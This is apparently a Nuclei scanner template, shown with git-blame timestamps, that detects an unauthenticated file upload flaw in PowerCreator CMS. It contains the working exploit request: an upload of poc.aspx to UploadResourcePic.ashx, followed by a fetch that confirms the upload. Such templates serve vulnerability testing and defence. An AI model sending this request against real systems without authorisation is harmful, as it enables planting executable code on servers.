2021-02-14 08:40:45 +00:00
|
|
|
id: powercreator-cms-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-30 16:15:22 +00:00
|
|
|
name: PowerCreator CMS - Remote Code Execution
|
2021-02-14 08:40:45 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-05-31 09:17:10 +00:00
|
|
|
description: |
|
|
|
|
PowerCreator CMS is susceptible to a remote code execution vulnerability.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/PowerCreatorCms/PowerCreatorCms%E4%BB%BB%E6%84%8F%E4%B8%8A%E4%BC%A0/
|
2022-05-30 16:15:22 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-30 16:15:22 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: rce,powercreator,intrusive,fileupload
|
2021-02-14 08:40:45 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-14 08:40:45 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Disposition: form-data;name="file1";filename="poc.aspx";
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
|
|
|
|
|
|
|
|
-----------------------------20873900192357278038549710136
|
|
|
|
Content-Disposition: form-data; name="file1"; filename="poc.aspx"
|
|
|
|
Content-Type: image/jpeg
|
|
|
|
|
2021-05-05 12:09:31 +00:00
|
|
|
{{randstr}}
|
2021-02-14 08:40:45 +00:00
|
|
|
-----------------------------20873900192357278038549710136--
|
|
|
|
- |
|
2021-02-14 10:59:41 +00:00
|
|
|
GET /ResourcePic/{{endpoint}} HTTP/1.1
|
2021-02-14 08:40:45 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
2021-02-14 10:59:41 +00:00
|
|
|
name: endpoint
|
2021-02-14 08:40:45 +00:00
|
|
|
internal: true
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "(.*?.ASPX)"
|
|
|
|
matchers:
|
2021-02-14 10:59:41 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2022-05-30 16:15:22 +00:00
|
|
|
- "contains(body_2, '{{randstr}}') && status_code_2 == 200"
|
2023-11-27 09:19:41 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100c4f53f7e6daf011b549e1005f078a3d149122452e1614435529910d7375c9eed022100ef5f6737413fc53faae9850906b9ffc186363e4af5b2af555346fc881c5f679a:922c64590222798bb761d5b6d8e72950
|